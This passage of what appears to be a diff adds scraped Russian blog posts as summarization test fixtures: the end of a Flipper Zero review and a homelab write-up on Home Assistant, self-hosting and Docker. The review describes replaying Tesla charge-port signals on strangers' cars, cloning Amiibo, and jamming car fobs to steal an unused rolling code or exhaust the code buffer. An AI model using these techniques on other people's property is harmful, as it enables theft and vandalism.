фигню, так что она больше не рекомендуется. Подробности на скриншоте ниже. Используйте Unleashed. 2 комментария 8 Таратухин Илья тоже думал, что хардварный кошелек из него сделать было бы круто! 0 inversia Подскажите, пожалуйста, как лучше — купить в Израиле и привезти в Америку или заказать уже туда? Войти и написать 🤪 Веселимся Хватит теории про спеки и прошивки, давайте тестировать в деле. https://twitter.com/glebovgin/status/1551927616432705538 Флипперное веселье только начинается, ведь пока даже не все получили свои гаджеты, ютюберы заняты в основном анбоксингами, а значит полезных приложений в экосистему пока не написали. У меня самого флиппер всего неделю, я сам еще нуб, потому за полноценный обзор этот пост я бы не считал. Я начал свою неделю с того, что пошел смотреть что делают другие на официальном сабреддите r/flipperzero и качать плагинчики по ссылкам из Awesome Flipper. Первая веселуха для новичков — Тесла Хак. На всех моделях Теслы используется специальный нешифрованный сигнал для открытия лючка зарядки. Чтобы когда подносишь «пистолет» зарядки к тесле — он автоматически открывается и добавляет больше поводов для выебончика в жизнь тесловода. Дампы этого сигнала можно скачать прям с гитхаба и просто положить на SD карту самого флиппера. Я проверил, 100% встреченных тесел открывается, все три модели. Работает даже на стоковой прошивке, нужно только скачать правильную частоту для вашего региона — теслы из EU используют отличные от тесел из US частоты. В Берлине все Теслы официальные EU, так что проблем не было, но если в вашей стране нет официальных продаж, а Теслы наимпортировали отовсюду — скорее всего придется перебирать несколько сигналов. (если видео выше сломается, вот прямая ссылка на твит) Второе веселье — выключать телевизоры в макдональдсах. Примерно как в старые добрые времена мы игрались с универсальными пультами от ТВ на КПК в 2008-м. У меня даже на МАЕМО было такое приложение и ИК-порт :) Если вставить во Флиппер SD карту и синхронизировать «базы» в их родном приложении, то в приложеньке TV Remote появится воистину универсальный пульт, который перебирает дамп из сотен моделей ТВ подряд по какой-нибудь не сработает. Для макдональдсов идеально. Своё видео не снимал, вот вам тиктоки из интернета. Третья топ-веселуха на старте — это эмулировать фигурки Amiibo для консолей Nintendo Switch или DS. Amiibo — это такой аналог платных DLC-персонажей в мире нинтендо. Вы можете купить в магазине фигурку нового персонажа (прям физическую), а потом приложить её к своей консоли и персонаж появится у вас в игре. Всё это работает по обычному NFC, конечно же, никак не защищенному от копирования. С флиппером вы можете просто скачать себе дампы таких фигурок и воспроизвести их рядом с консолью. Теперь вы пират, поздравляю. Кстати, просто прийти в магазин и насканировать себе Amiibo с полок не получится, Nintendo специально проклеивает коробки фольгой от таких хитрецов. Проверено! Дальше уже приходится выдумывать себе веселье самому. Я живу в техно-пессимистичной стране, так что у меня в доме не так много девайсов, которыми можно управлять дистанционно. Кондея нет, вместо ключей от домофона просто кнопки с фамилиями, а шлагбаумы немцы обычно закрывают на простой советский навесной замок :) Никакого веселья в этой Германии! Но если у вас что-то такое есть — идите пробовать и расскажите в комментах, если получится. Бегаю за псом, пытаюсь найти и прочитать его чип. К сожалению, в этой версии прошивки, Флиппер не умеет читать чипы животных. Говорят, добавят в следующей На реддите ребята развлекаются клонируя себе карточки от отелей и сигналы открытия гаража в домах у друзей и родителей (но у нас нет дома). Лет 10 бы назад я бы записал на него весь набор универсальных домофоновых ключей от Новосибирска и спижженные карточки сотрудников офисов IT компаний, чтобы ходить к ним на крышу без палева. Но сейчас мы слишком стары для этой хуйни. Потому я в основном продолжаю мониторить гитхаб и реддит на предмет всяких веселых приложений от коммьюнити. upd: Павел прислал пруф, что возможность читать животных будет прям вот уже 4 комментария 6 Dmitry Kochkin Второй раз за пост в деды записался 1 Ilya Zverev Сегодня впервые купил себе amiibo (не из-за этой заметки :) и нет там никакой фольги, только два слоя пластмассовой упаковки и бумажный вкладыш. Да и ничего плохого из копирования не выйдет, я думаю. Но некоторые amiibo умеют хранить в себе игровые данные, и это сэмулировать уже будет сложнее. 10 Константин Золотов Офигенно, наконец-то я смогу быть уверен, что мой кот — это мой кот! 2 Андрей Сухарев который перебирает дамп из сотен моделей ТВ подряд по какой-нибудь не сработает. *пока какой-нибудь не сработает Войти и написать 😰 Главный враг Флиппера: Rolling Codes Главная сила Флиппера — он может ловить и воспроизводить сигналы. Флиппер — это ксерокс для радиосигналов. Но как можно догадаться, у злоумышленников такие же «ксероксы» были уже много десятилетий. И производители тех же автомобилей или гаражей давно придумали как от защищаться от такого прямого копирования и воспроизведения сигнала открытия. Решением стали Скользящие Коды ? я не нашел православно-верного перевода термина Rolling Code, так что пусть будут cкользящие — это очень похоже на двухфакторную аутентификацию, которую вы, я надеюсь, используете на всех сайтах. Это когда вас просят кроме пароля еще и набрать некий код, который меняется каждые 30 секунд по неизвестному алгоритму ? правда TOTP в вебе чуть сложнее, ибо требует синхронизации часов на сервере и клиенте, а в пультах точных часов обычно нет, потому там используются более простые алгоритмы, но кому эти гиковские подробности интересны вообще . Абсолютно все автомобили примерно с 2002 года выпуска открываются и закрываются только с помощью rolling-кодов. На каждый клик брелок генерирует новый код, так что перехватить однажды использованный сигнал и втупую его воспроизвести Флиппером у вас не получится. Нужно именно знать алгоритм (точнее seed) по которому генерируются следующие коды. Именно поэтому вам всегда нужно «прописывать» новые ключи в «память» автомобиля и обычно там есть ограничение по количеству, типа три максимум. «Прописывание» ключа синхронизует тот самый seed с компьютером авто и отныне брелок знает по какому правилу генерировать новые коды. Потому он и открывает только ваше авто, а другие не открывает. Теперь мы стали немножечко умнее! Тот же самый метод используют и любые другие девайсы, в которых важна безопасность. Например, гаражные двери или даже некоторые радио-пульты от домашних девайсов. Ключ от буси определяется сканером, но любая попытка записать и воспроизвести (даже на анлоченой прошивке), очевидно, проваливаются. Автомобили довольно хорошо защищены от таких вот глупых атак. А еще я сломал этот ключ пока игрался, придётся ехать перепривязывать его заново, кек Флиппер из коробки не умеет и никогда не будет даже пытаться встраивать какой-либо софт для хакинга rolling-кодов. Такой софт в теории есть, но это слишком палевно. Разрабов моментально возьмут за жопы, а Флипперы и так весьма тяжело хотели пускать в некоторые страны. Так что ждите в альтернативных прошивках. Так что когда Флиппер видит rolling-код, он просто не даст сохранить такой сигнал и покажет иконку-замочек. А такую иконку вы будете видеть часто :) Существует множество способов «взломать» зашиту через rolling code. Самый популярный и прикольный из них — это Jamming, то есть подавление сигнала и воспроизведение его с опозданием. То есть злоумышленник ставит «глушилку», хозяин подходит к машине, жмёт на кнопку брелка, а машина его не слышит, ведь глулишка засрала все частоты своим шумом. В это же время сканер может сохранить и записать код, посланный брелком, но не услышанный машиной. Хозяин думает, что он просто не так нажал и что он делает на автомате? Конечто же, жмёт на брелок еще раз. В этот момент злоумышленник получает второй валидный rolling-код, но использует первый, чтобы открыть машину. Теперь у нас есть целый ОДИН валидный неиспользованный код, который мы можем просто придержать у себя и подождать пока хозяин доедет до дома, чтобы открыть им машину. Но всё это требует дополнительного оборудования, так что конечно же, есть и другие способы угадывания сида по набору rolling-кодов, которые вам удалось собрать. Софтина Kaiju как раз самая популярная для этого, так что мне кажется стоит только подождать пока кто-то напишет мануал как читать ей дампы с флиппера. Но на данный момент ничего такого даже близко нет и готовьтесь сосать писос в любой ситуации, отличной от выключения ТВ в Макдаке и открытии бензобаков у Тесел. Дарю бесплатный способ сделать так, чтобы ваши друзья вас возненавидели. Обычно брелок и машина синхронизируют между собой список из примерно 255 следующих rolling-кодов. Это буфер на случай, если вы вдруг нажмёте на брелок у себя дома и как бы «используете» один из кодов, а машина об этом не будет знать, то вы сможете открыть её следующим кодом, а не проходить через нудный процесс синхронизации заново. Так вот если втихоря нажать на кнопку брелка примерно 255 раз, пока машина вне зоны доступа, то в теории вы можете исчерпать буфер и данный ключ перестанет открывать машину вообще. Не благодарите. Не пробуйте. 1 комментарий 10 burivuh26 Из штук, которые выяснили в чате, а я пока не могу проверить ибо в России, а мой Флиппер где-то в Гонконге. Короче у части производителей пультов и блоков ворот, гаражей, шлагбаумов есть возможность с помощью уже привязанного к блоку пульта добавить ещё один. В частности такое есть у DoorHan. И тогда, если у тебя, анонимус, есть друг, живущий во дворе со шлагбумами и у него дурхановский пульт от этих шлагбаумов, а друг не против чтоб ты к нему заезжал парковаться -- можно с помощью пульта друга внести флиппер в роли ещё одного пульта в список пультов блока шлагбаума. Войти и написать 🕹 Надо ли оно вам? FOMO уже заразил всех и в твиттере меня много просили рассказать стоит ли бежать покупать себе Флиппер или нет. Лично для меня ответ всегда был прост: если не знаешь зачем тебе что-то нужно — не бери. Но наше FOMO такой ответ не устраивает. Так что разберём поподробнее. Флиппер — новый и весьма нишевый девайс для весьма узкой аудитории. Лишь единицы каких-нибудь сесурити-пен-тестеров будут его реально использовать для дела. Если вы входите в эти единицы — скорее всего вы уже купили его и положили рядом со своими HackRF, Proxmark и прочей коллекцией Pi Zero. Даже я сам сейчас скорее вхожу в те 90%, для которых Флиппер будет очередной игрушкой в тумбочке. Но как и говорил выше — моя цель была поддержать ребят и движуху, а получить Флиппер для меня стало скорее бонусом. Кому точно стоит брать флиппер: Гикам, любящим странные гаджеты Тем, кто хочет поддерживать независимые проекты и хакерскую тусовку Людям, у кого действительно проблема с пультами и хочется хранить их все в одном месте. На реддите таких оказалось весьма много, но в основном, конечно, американцы со своими кондеями, поливайками газонов и гаражами Хотя условному москвичу, который хочет киберпанково из кустов охотиться на шлагбаумы во дворе как в Watch Dogs, может быть и весело. Кому не стоит брать флиппер: Всем остальным. Если у вас заранее нет идей зачем вам такая штука, после покупки они магическим образом не появятся :) Ну а успокоить себя всегда можно тем, что после Flipper Zero, ребята уже запланировали делать Flipper One, который станет Raspberry Pi чуть ли не полноценным кумпуктером на линуксе с WiFi, HDMI и 512 Mb RAM. Давайте теперь ждать его! Комментировать Войти и написать 👌 А так заебись? Заебись. Кто хочет в Берлине поиграться — приходите. Я поставил танчики и 2048! Комментировать Войти и написать +============== diff --git a/tests/summarization/https___vas3k.blog_notes_homelab_2022_.txt b/tests/summarization/https___vas3k.blog_notes_homelab_2022_.txt new file mode 100644 index 0000000..72069f7 --- /dev/null +++ b/tests/summarization/https___vas3k.blog_notes_homelab_2022_.txt @@ -0,0 +1,2 @@ +Мой домашний серверный сетап меняется каждые 3-4 года. В Сибири у меня был огромный жужжащий ящик, в Литве я перебивался готовыми NAS'ами от WD и Synology, потом переезжал в дата-центр, а в последние годы держал домашний кластер Raspberry Pi. Недавно я запостил в твиттер очередную фотку своего настенного планшета с новым виджетом и куча народа попросила рассказать как всё устроено. Штош, три года прошло, время апдейтов. На эту черную пятницу я прикупил себе кумплюктер. Последний раз я употреблял в своей речи слова SATA и DDR примерно лет пять назад, а последние годы моя «жизнь» вообще происходит исключительно за ноутбуком или планшетом. Я — тот бородатый хипстер их реклам Apple. Но жизнь без настоящего кумплюктера — это, конечно, не жизнь. Хотя «настоящим» кумплюктер можно было назвать лишь отчасти, потому что он вот такой: Даже стопка HDD на заднем плане, воткнутая в RAID-массов через USB-C донгл с отдельным питанием, выглядит толще Это так называемый Mini PC, которые раньше были в основном уделом школьных кабинетов информатики, а теперь самые храбрые из них даже превратились в Steam Deck, на который дрочат все геймеры. У меня довольно слабая модель — MinisForum U820 за €350, но и бралась она с расчетом, что мне не нужен гейминг и внешние видеокарты, а нужна экономичная машинка для замены моих Raspberry Pi. Один мой RPi отвечал за умный дом с Home Assistant — тот самый, о котором я писал три года назад. Другой RPi был под домашнее облако-бекапилку-файлопомойку, на котором был RAID1 из 2x4Tb HDD с периодическими бекапами всех моих проектов, считалкой налогов (яж блять в Германии) ну и просто хранилищем для всех фоток, документов и прочего нажитого непосильным трудом. Эти два HDD переезжают со мной вот уже в третью подряд страну. И вот когда мне понадобился третий RPi я сказал хватит. Пора брать что-то нормальное, ставить туда полноценную Убунту и устраивать хоум-лаб под себя как в лучших домах Европы. Последние недели я усердно мигрировал свои домашние сервисы на эту пепяку, потому как раз появился повод рассказать как оно всё устроено для потомков. Как вы вообще всё это упихали в коробку размером со стопку дисков от плейстейшона? 3 комментария 2 Petr Korolev @vas3k, казалось для HomaAssistant хорошо иметь Малину отдельную, потому что в докере некоторые фичи обрезаны (плагины). А если в малину в докер HA запихнуть, это отзывчивость сильно скажется? Ты заметил разницу после переезда? 1 Nikita Baranov А какой-нибудь Synology с поддержкой докера не зайдет под этим дела? 0 Игорь Алексеев RPi еще и не самые стабильные ребята особенно с SD картой. Вместо 2ого RPi поставил Thinkpad c Ubuntu. Плюсом это полноценный хоть и слабенький ноут - можно перезагрузиться в винду и подключить к авто и есть экран с клавиатурой если хочешь что-то поправить в своем хоум сервере и не хочешь к нему подключаться удаленно. Войти и написать 👀 Дом-дурачок: Что умерло, что осталось, что вечно? После того самого поста прошло три года. Почти вечность. Тогда я строил умный дом в новой квартире и верил в светлое будущее, а теперь не верю ни во что и практически переехал. Сразу накину — за три года было выброшено практически всё. Комментировать Войти и написать ☠️ Что сдохло? ☠️ Зоопарк Xiaomi китайских девайсов. Ожидаемо, эти ребята сгнили первыми. Пока они новые — ты кайфуешь. За пять баксов ты можешь следить за температурой и влажностью в каждой комнате, а еще за десять — автоматически включать в них свет. Вау! Технологии! Но проходит полгода-год и вот в датчике температуры села батарейка, которую хер заменишь, а датчик движения просто умер от пыли — надо покупать новый и переписывать все сценарии. Всё это хоть и кажется мелочами на первый взгляд, но когда всё разваливается по пятому кругу — ты просто забиваешь. Не лень мне и рукой свет включать. Да, всё это было абсолютно ожидаемо и китайское барахло от Xiaomi/Aqara покупалось исключительно ради экспериментов и шуток про всратый IoT. Так что особо не жалко. До сих пор иногда нахожу дохлые трупики старых датчиков по квартире и улыбаюсь. ☠️ Универсальные хабы, умные выключатели и прочие «сценарии». Любой сценарий, сложнее чем «нажал кнопку — включилась лампа» обречён со временем сдохнуть. Вы просто устанете каждый раз прописывать в него новые лампочки, триггеры, менять сцены и вообще заморачиваться со всем этим больше одного раза. Потому все «умные выключатели» были содраны со стен и заменены обратно на тупые. Особый кек случился с датчиками на батареях, которые якобы должны были «умно» подстраивать температуру комнаты под комфортную днём, снижать её ночью и экономить отопление, когда дома никого нет. Так вот. Мне пришел счет за 2020 год, когда датчики стояли везде, и за 2021, когда я их снял. С «умными экономящими датчиками» за год я нажёг на 20% больше отопления, чем за год с тупыми крутилками, которые просто всегда стоят на единичке. Заебись сэкономил! В итоге из «умных устройств» у меня остался только набор икеевских кнопочек и розеток, которые не заменяют обычные выключатели, а скорее дополняют их — когда лень вставать с дивана перед сном, либо это напольная лампа, которой хочется управлять удалённо. Но не более того. Даже гирлянда на балконе была заменена на обычную с собственным таймером. Никакой разницы. ☠️ Удалённое управление. Фича «выключить свет дома пока тебя нет» пригодилась за всё время ровно НОЛЬ раз. Да, я восхищен как Apple HomeKit пробрасывает всё мое добро через любой NAT и позволяет мониторить мой дом откуда угодно через спящий где-то под телевизором Apple TV. Это круто. Но реально ни разу не пригодилось. Прости, Тим Кук. 3 комментария 9 Кирилл Томашпольский Да, сколько видел домов, где "умный свет с 500 сценариев" тупо горел весь день или работал как выключатель - всем тупо лень забивать и разбираться! И Xiaomi, скотина такая, у меня тоже глючит даже простейший глупый датчик влага-температура после года-полутора. Для использования в загородном доме как раз функция удалённого включения + темп датчики оказалась самой нужной - выставляешь отопление в четверг, согревается, в пятницу приезжаешь как царь: за окном -20, а у тебя дома уже +10. Коньяк в бокал, дровишек в камин - и уже можно жить! 2 Ivan Zaitsev Могу порекомендовать Philips Hue. Очень дорого, но весьма надежно. Первые их лампочки купил аж шесть лет назад. За это время ни одна не перегорела, и даже с софтом и интеграциями проблем не было. Стоят своих денег. Включаю их голосом или выключателем, ночью выключается все сразу. Из датчиков движения я перешел на комбо из вот таких вот десятидолларовых сенсоров (https://www.amazon.com/gp/product/B00KAB4CRG), в которые втыкаются опять же десятидолларовые светодиодные ленты. Использую их в дополнение к обычным тупым выключателям, как ночники. Очень надежно, за 5+ лет ни одной проблемы. Термостат — Nest. В основном использую ради голосового контроля и интеграций (утром включить, ночью выключить). Нареканий нет. В качестве контроллера всего этого, вполне хватает Google Home. 1 Aleksandr Barmin Я немного разочаровался в Phillips Hue и началось с того, что купил я как-то большой красивый LED телевизор на всю стену, чтоб Ведьмака на нем играть и любоваться красотами в Death Stranding. И захотелось мне подсветки купить, и не простой, а такой, чтобы сразу plug-and-play и все из коробки работает. Выбор пал на Philips Hue Gradient Lightstrip for TVs. Подсветка приехала и... не работает без Play HDMI Sync Box. Точнее, она, конечно, горит, но цвет вместе с картинкой не меняет. Ну ладно, купил Sync Box и думаю, что вот теперь-то оно точно должно заработать. И как бы Hue там плавал! Теперь нужен еще Philips Hue Bridge, чтобы соединить ленту с HDMI Sync Box. И только вот когда все три девайса были куплены, я смог наслаждаться цветными стенами во время езды на Плотве. Как говорится, мое счастье было бы не полным, если бы оно работало как надо. Иногда в Sync Box происходит какой-то заворот мозгов и она тупо выключается сама по себе. А также в нее у меня воткнута пачка hdmi-источников - плойка, Apple TV, Switch. И вот если включить одновременно два источника, например, Apple TV и PS, то как только один из них выключится, этот Hue Box выключится и телевизор тоже вместе с ним выключится. Скажем так, задумка интересная, но умный дом слишком умный. Тем не менее, когда все работает как надо, подсветка светит на стену и радует меня красотой. Войти и написать ✅ Что осталось? ✅ IKEA Smart Home. На второй год весь зоопарк донглов и протоколов был заменён на один единственный хаб — от IKEA. Это был осознанный выбор. Во-первых, IKEA сделала самую нормальную «экосистему», так как переиспользовала открытые стандарты (ZigBee) и даже контрибьютила в опенсорс. Во-вторых, IKEA построила весь свой умный дом вообще без какого-либо «облака». Это честная mesh-сеть, которая может работать даже в полном оффлайне. Выдерните хаб из розетки — все ваши выключатели и лампочки всё равно продолжать работать. Настоящий peer-to-peer. Хоть кто-то из блядских корпораций наконец-то сделал это правильно. Да, из-за этого ИКЕЮ часто критикуют, мол, у них нет всяких модных фич, как у того же Google Home. Но это именно потому что для их реализации все ваши данные должны быть слиты в облако — а икея выбрала другой путь. Спартанский, но очень похвальный. За одно только это респект Шведам, буду следить за ростом их линейки «умных» девайсов с удовольствием. Пожалуйста, не прогибайтесь и не делайте IKEA Cloud. Очень прошу! ✅ Home Assistant. В оригинальном посте я так нахваливал Home Assistant, что даже сказал, что слежу за каждым их ченжлогом. Такая яркая любовь обычно быстро проходит, но нет. Я всё еще минимум раз в пару месяцев открываю и читаю их ченжлоги. Третий год подряд! Однако со временем Home Assistant перестал для меня быть «универсальным хабом», я больше не управляю через него девайсами (хотя и могу), я использую его как дашборд, в который собираются и мониторятся нужные мне показания и информация. У Home Assistant одна из самых классных и простых архитектур для виджетов и компонентов, что я видел. Да, они ломали её один раз, что даже прозвали The Great Migration, но с тех пор всё стало еще красивее. Даже коллегам привожу в пример. Так что он всё еще жив и легитимен, хотя по сути и превратился в бекенд для планшета на стене. Зато перед выходом я всегда знаю успею ли на близжайший трамвай и надо ли надевать шапку! (да, мам) ✅ Планшет. Настенный планшет всё еще настолько полезен, что заслуживает отдельного рассказа ниже. 2 комментария 11 ReDetection peer-to-peer взаимодействие называется binding в терминах zigbee. в него умеет zigbee2mqtt, тоже чудесно работает без остальной сети. 4 ReDetection забавно, что у меня наоборот, вечно какие-то проблемы с home assistant – то он потеряет один девайс (в z2m/mqtt/node-red при этом его видно отлично), то просто тормозит без причины. в итоге оставил его чисто как дашборд и запасной план интеграции некоторых устройств Войти и написать 📱 Планшет с семейным дашбордом Самое полезное во всём умном доме Около входной двери у меня уже давно висит дешевый планшет Amazon Fire HD. Он был куплен за что-то типа 70 евро и круглые сутки показывает один из дашбордов с инфой из Home Assistant, который я себе сконфигурил, через Fully Kiosk App. И это до сих пор самое полезное, что есть во всём моем доме-дурачке вообще. Даже если я наиграюсь и выброшу нафиг все умные девайсы, дашборд я всё равно оставлю. Смотрю на него по несколько раз в день и он реально экономит время. Планшет агрегирует два класса информации — «домашнюю» и «уличную». Домашняя инфа живет в левой половине. Это: Семеный календарь и TODO-лист. Показывает наши общие события типа записей к врачу и встреч с друзьями вечером. Иначе я всё забываю и пропускаю. Погода в доме. Летом пофиг, а вот зимой в Европе надо постоянно следить за температурой и влажностью, иначе плесень захватит твой дом и выселит тебя. Данные собираются с одного дешевого BLE-датчика за 13 баксов. Прочие мелочи типа времени в трех таймзонах и спидтеста. Справа — всё «уличное»: Погода, очевидно. Какая сейчас и какой прогноз. Чтобы знать какую куртку надевать перед выходом, не доставая каждый раз телевон. Правда, не хватает времени рассвета и заката, придется допилить. Транспорт. Чтобы не мёрзнуть на платформе пока 10 минут ждешь нужного поезда, ну либо сразу забить и идти на трамвай. Были еще планы добавить туда всякие расписания вывоза мусора, но я не нашел нужных API для Берлина. Вот такое. Тема — iOS Dark Theme По технике проблем особых не было. За три года ничего не выгорело, не сломалось, батарейка жива, счета за электричество меня не обанкротили. Там щас слой пыли с ноготь толщиной, но это пофиг, сломается — куплю новый. Единственный косяк, я он нём уже рассказывал, что Амазон где-то раз в пару месяцев решает показать мне рекламу во весь экран. Нужно же как-то Джефу Безосу оставаться самым богатым человеком в мире. Плоти долор. 6 комментариев 5 Aleksandr Barmin В последнем предложении толщина два раза. Так и должно быть? 4 Вастрик Aleksandr Barmin, баг, конечно же 6 Vladimir @nett00n Bu А если подключить на планшете "антирекламные" DNS, реклама амацона не уйдет? 30 Serhii Borovyk а что за виджет с прогнозом погоды? 5 ReDetection В каких пределах держишь влажность и чем регулируешь? На Кипре пока тепло, вроде около 60% болтается, я уже закупил порошочки, но ещё толком не использовал 1 Андрей Демидов Serhii Borovyk, это скорее всего https://github.com/pkissling/clock-weather-card/releases Войти и написать Кстати, я вам виджет наопенсорсил Пока я перевозил всё свое добро с Raspberry Pi, заметил, что нам давно не хватало нормального виджета для транспорта. Раньше у нас был совсем маленький и он умел только трекать транспорт из точки А в точку В. А нам теперь надо весь. Так что я решил написать новый. Да, опять. Вот код: https://github.com/vas3k/home-assistant-berlin-transport Мне кажется, для олдов это уже скоро станет мемом — Вастрик в любом городе и при любых обстоятельствах делает свой трекинг транспорта. Новосибирские олды еще помнят NGTMap — это же был мой первый «стартап», который я продал «большой корпорации» аж за 500 догдашних долларов! Был очень горд собой, три месяца на них жил! 3 комментария 8 Ilya Zverev Переехав в Таллинн, первым делом написал приложение для трекинга транспорта — все официальные и коммерческие решения отстойны. Отлично, пользуемся каждый день. Транспорт — самое важное. 6 Oleg Zakharchenko Привет, скажи пожалуйста, как поставить на ХА твою кастовую карточку? Я уже всё перепробовал. HACS стоит, другие карточки работают, вроде всё по инструкции с Git сделал, но что-то ничего не получается, не видит карточку Home Assistant 3 Гауз Спасибо за виджет, я адаптировал его для транспорта в Мюнхене Войти и написать 📚 Зачем селф-хостишь? Ты чо, программист? В последние годы я начал сильно больше заморачиваться по поводу своих данных и информационной безопасности. Может это техно-пессимистическая Германия на меня так влияет, может Берлин, с его глубокой хакерской культурой, а может потому что большая айтишечка сейчас в целом гниёт со страшной силой. Хорошие сервисы, которыми я пользуюсь лет десять, обрастают тоннами ненужных фич и переписывают свои удобные маленькие приложения на монструозно-тормозное веб-говно. Продуктоунеры пришли, блять. «Насколько вы готовы рекомендовать наше приложение друзьям». Убивав бы. Другие же активно строят цифровые гулаги и огороженные сады, где либо торгуют твоими данными, либо сливают их направо и налево. Сейчас добавилась и третья боль — постоянные блокировки всего. Я уже боюсь утром почту открывать, ведь там опять будет письмо от какого-нибудь Гитхаба, Спотифая или Хецнера, что «им очень жаль и они не могут продолжать со мной сотрудничество без объяснения причин». Потому я начал плавно склоняться в сторону «всё своё ношу с собой» и селф-хостинга для всего, что я считаю действительно важным. Первым из мастодонтов пал Dropbox. Он так сильно сгнил, что был без жалости заменен сначала на Nextcloud, а потом вообще на Syncthing, потому что он простой и стабильный. Вторым был убит GMail. Но честно селф-хостить имейл в 2020+ году нет никакого смысла (ваш IP сразу забанят все почтовики), потому он был заменен на независимый платный имейл-сервис, даже неважно какой, с бекапами истории в Nextcloud. На очереди замена 1password на какой-нибудь Bitwarden/Vaultwarden, но с этим сложнее, потому что в 1password меня держит шаринг паролей с кучей людей, а тут без «облака» пока никуда. Так что со временем я планирую всё больше и больше всего селф-хостить дома. Да, это требует времени и навыков, да, у селф-хостинга тоже есть свои опасности (недавно я чуть не уронил RAID-массив на пол), но плюсов для меня всё равно больше. Планомерно пересаживаю всех домашних на это тоже. Ну а еще это неплохое хобби — можно потренироваться с теми технологиями, которые редко используешь по работе. 15 комментариев 15 Nikita Doiun A что было с GMail? Типа ко многому у них есть доступ? 3 Vladimir @nett00n Bu Когда google упразднил халявный gmail for domain долго думал на что переходил и в итоге поднял свой почтарь на базе mailu. Но ооооочень думал не отдаться ли почтарю hey. 11 Вастрик Nikita Doiun, не, они просто обнаглели и всех legacy-юзеров почты со своим доменом заставили плотить долор как будто они корпорации. Я подумал, что если уж платить — то точно не гуглу, и ушел на сторонний платный сервис :) 2 Vladimir @nett00n Bu Как человек уже мигрировавший в bitwarden протокол в реализации selfhosted vaultwarden, остался им вполне доволен. Шарю пароли с женой. Один минус за почти год пользования - не работают "одноразовые" шары vaultwarden. 1 Tim Sattarov Как человек, который делал 1Password cloud: А в чем проблема с 1password? большие приложения? Электрон с Растом? :) Переход в клауд был мотивирован в первую очередь шарингом, восстановлением доступа, если кто то его потерял и уменьшением нагрузки на поддержку как результат. 4 Vladimir @nett00n Bu Tim Sattarov, ну прям в этом же блоке написано: Сейчас добавилась и третья боль — постоянные блокировки всего. Я уже боюсь утром почту открывать, ведь там опять будет письмо от какого-нибудь Гитхаба, Спотифая или Хецнера, что «им очень жаль и они не могут продолжать со мной сотрудничество без объяснения причин». 2 Vladimir Lazarev им очень жаль и они не могут продолжать со мной сотрудничество без объяснения причин Интересно, что это за "независимый платный имейл-сервис", который не напишет так же однажды утром? 2 Вастрик Vladimir Lazarev, вытащить аргументы из разных абзацев @ представить их так, как будто они причина и следствие друг друга @ передернуть факты @ вы великолепны, обратитесь к начальнику твиттера для выдачи внеочередной премии за развитие интернета! 8 Вастрик Tim Sattarov, предпоследним звоночком был Электрон, но я пережил, вроде норм сделали, лагает почти незаметно. Последним же было то, что вы тоже решили русню банить. Вот тут я уже точно заволновался, мало ли, всё-таки это реально все мои пароли, а опцию забекапить их себе вы отключили (как ты и сказал) 4 Dmitry Popov Издавна сижу с KeepassX и синхронизацией через Syncthing, но это не решает вопрос шаринга паролей. Тоже в раздумьях 0 Tim Sattarov Вастрик, на мой взгляд Электрон это неправильная причина не любить софт. Если правильно сделать даже Жаба будет летать :) А русню блочить это да, можно написать в саппорт и поругаться на несправедливость. Политические решения мимо меня... 5 Вастрик Tim Sattarov, ключевая фраза "если правильно сделать". А на Электроне обычно делают не потому что хотят "правильно", а потом что хотят "быстро, дешево и под все платформы". Потому набирают JavaScript разработчиков, среди которых, из-за популярности языка, очень много новичков, которые просто не знают как делать "правильно". Про саппорт тоже понимаю, но у меня сейчас примерно каждый день выглядит как "звоню в банк, чтобы разблокировали мне аккаунт и я мог получить на него зарплату и купить покушоть, а параллельно пишу злое письмо в Coinbase, которые тоже заблокировали все крипто-доходы с Клуба". Добавлять к этому "еще и пишу в саппорт 1password потому что тот решил заблокать ВСЕ мои пароли" я точно не хочу, сорян, хотя уважаю вас очень давно и плачу за семейный аккаунт вот уже 10 лет. 0 Petr Korolev Опа. С 1password сюрприз. Жаль. Штош, буду ждать письма счастья теперь тоже :/ ( и активней перелезать на bitwarden, он правда хорош!) 1 Alexander Madyankin Заменил 1Password на http://strongboxsafe.com, который суть есть KeePass с более-менее приличной мордой. Соотвественно, шарить можно хоть с помощью rsync 0 Egor Не знаю в тему ли, но для хранения и шаринга паролей можно поднять свой passbolt. У него даже есть апи для интеграций и андроид приложение. Но за фичу с созданием директорий придется заплатить. Войти и написать 🤓 Как всё устроено изнутри? Докеры-траефики-рейды-ансиблы Эта часть для гиков, где я рассказываю как всё собрано изнутри. Операционная система — Убунта. Слишком стар я для хардкорных прыщей, хотя в свое время очень любил Arch. Убунта установлена с полноценным десктопом, так как кумплюктер подключен к телевизору и там даже установлен Steam, если вдруг мне захочется погамать в любимую инди-игру с геймпада от PS4. Комментировать Войти и написать 🐬 Docker — изолируем всех от всех Дальше докеры. Докеры — основа всего сейчас. Не знаю как мы жили без них. Сейчас, запуская приложение без докера, чувствуешь себя как будто голым на улицу вышел. Современные ОС по-прежнему обожают засираться всякими пакетами, зависимостями, ошмётками кешей и конфигов. Это в молодости я думал, что я просто глупый и ничего не понимаю, но даже спустя 10+ лет я всё еще не понимаю что с этим делать. Тут пакеты из pip, тут пакеты из aptitude, тут snap'ы, тут вообще какой-то инсталл-скрипт притащил для себя php и nodejs. Потому мне с докерами как-то проще: развернул контейнер одной командой — потыкал — удалил — система такая же чистая и новая. Докеры — кайф. ? хотя пора бы переезжать на Podman, конечно Можно прям через удаленный VS Code всё редактировать и перезапускать сразу на хосту. Главное потом не забыть закоммитить изменения в гит-репо Потому для любого сервиса, который я хочу крутить на своем сервере, я первым делом гуглю "название + docker-compose" и в 99% случаев кто-то уже написал нормальный рабочий конфиг, который просто развернется одной командой — со всеми фронтендами, бекендами, базами данных, мониторингами, итд. Конечно, можно было упороться по хардкору с Кубернетесами и HELM-чартами, как трушные хоум-лаберы, но я не вижу особого смысла в оркестрации, когда у тебя всего одна машина. Чем проще делаешь — тем дольше проживет 8 комментариев 1 Артем Уткин Привет, ты не мог ты скинуть настройки vscode (хотя бы тему) На гитхабе у тебя не нашел 0 Вастрик Да это же по-моему ванильный стандартный VS Code, не? Я кроме плагинов особо ничего не настраивал на этой машине :) 2 Артем Уткин Нашел тему) https://marketplace.visualstudio.com/items?itemName=dracula-theme.theme-dracula 1 Tim Sattarov Перевёл свой HomeAssistant на Podman и радуюсь жизни. Он даже в rootless режиме как systemd unit запускается, как сервис. 0 andr Ну конечно докеры, у тебя ж 16 оперативы. А для простенькой VDS, где крутятся 5-6 разных селфхостед сервисов, ресурсов не хватит. Я на свой сервер ставил всё без докера, в итоге потребление ОЗУ 650МБ. А с докером только 1 сервис жрал больше, чем 